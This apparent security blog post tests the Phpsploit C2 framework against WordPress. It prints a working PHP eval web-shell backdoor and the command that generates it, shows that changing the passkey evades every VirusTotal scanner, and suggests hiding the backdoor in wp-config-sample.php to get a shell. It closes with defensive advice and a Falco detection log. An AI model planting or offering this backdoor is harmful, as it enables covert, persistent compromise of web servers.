in

Backdooring WordPress with PHPsploit

As many of you know, WordPress is written in PHP. Finding backdoors in PHP and WordPress code can be quite tricky and sometimes almost impossible: Since backdoors could be hidden anywhere in the code and look like regular code with human coding errors, and a regular installation of WordPress consists of about 432,709 lines of PHP-code.

So instead of reading all the code and looking for backdoors we could use automated tools like antivirus-software, and a popular open source antivirus software is ClamAV.

Today we are going to test the offensive Command and Control (C2) software Phpsploit, described as below from their Github page:

PhpSploit is a remote control framework, aiming to provide a stealth interactive shell-like connection over HTTP between client and web server. It is a post-exploitation tool capable to maintain access to a compromised web server for privilege escalation purposes.

When running Phpsploit and generating a standard backdoor to place in WordPress or PHP-code it looks like this:

<?php @eval($_SERVER[‘HTTP_PHPSPL01T’]); ?>

The above code can be generated by running the following command:

./phpsploit --interactive --eval "backdoor"

And if we insert this little eval-code snippet into a WordPress php-file and then upload the file to VirusTotal the detection rate looks like this for the 58 different antivirus-scanners currently online:

Just one hit and it is ClamAV detecting the backdoor as Php.Trojan.PhpSploit-7157376-0.

If we then run phpsploit again and set another PASSKEY like this:

The backdoor code also looks different:

<?php @eval($_SERVER[‘HTTP_LFN2DZLOE’]); ?>

And then if we use this code and we hide it in wp-config-sample.php and upload the code to VirusTotal again:

Great! We are now bypassing all known malware engines listed at VirusTotal by making a small change. Installing the backdoor is outside of this blog post, but it could be a vulnerable version of a plugin (as one of many examples).

As soon as the backdoor is in place, we can use the backdoor with set TARGET and exploit and then obtain a shell:

Great. We can now start to do local Linux reconnaissance in order to find user escalation vulnerabilities with commands like whoami, ls and pwd:

When looking at the network level the PHP-code being sent over the wire is looking like below. And should be quite easy to trigger IDS alerts at network level since PHP-code like eval and base64_decode should not be a part of a http-header. This can also of course be changed in Phpsploit by using the command set REQ_HEADER_PAYLOAD.

But running Suricata with updated rules found nothing:

Conclusions

Even with small modifications of the PHP-backdoor code provided by Phpsploit it is hard for antivirus software to find the backdoor. The best defense to this is to monitor all changes in the www-folder with open-source tools like OSSEC or Wazuh.

When running Sysdig Falco and running Phpsploit the following log entry shows up, “Debug Shell spawned by untrusted binary”

syslog:Mar 23 17:18:04 vagrant falco: 17:18:04.781532982: Debug Shell spawned by untrusted binary (user=vagrant shell=sh parent=apache2 cmdline=sh -c echo $HOME pcmdline=apache2 -k start gparent=apache2 ggparent=systemd aname[4]=<NA> aname[5]=<NA> aname[6]=<NA> aname[7]=<NA> container_id=host image=<NA>)

What do you think?

44 Points
Upvote Downvote
Red Hat Professional

Written by Admin

NewbieAvatar uploadFirst contentFirst commentPublishing content 3 times

Comments

Leave a Reply

Loading…

0

Pivoting. Post-exploitation

So different VPN. Analyzing VPN protocols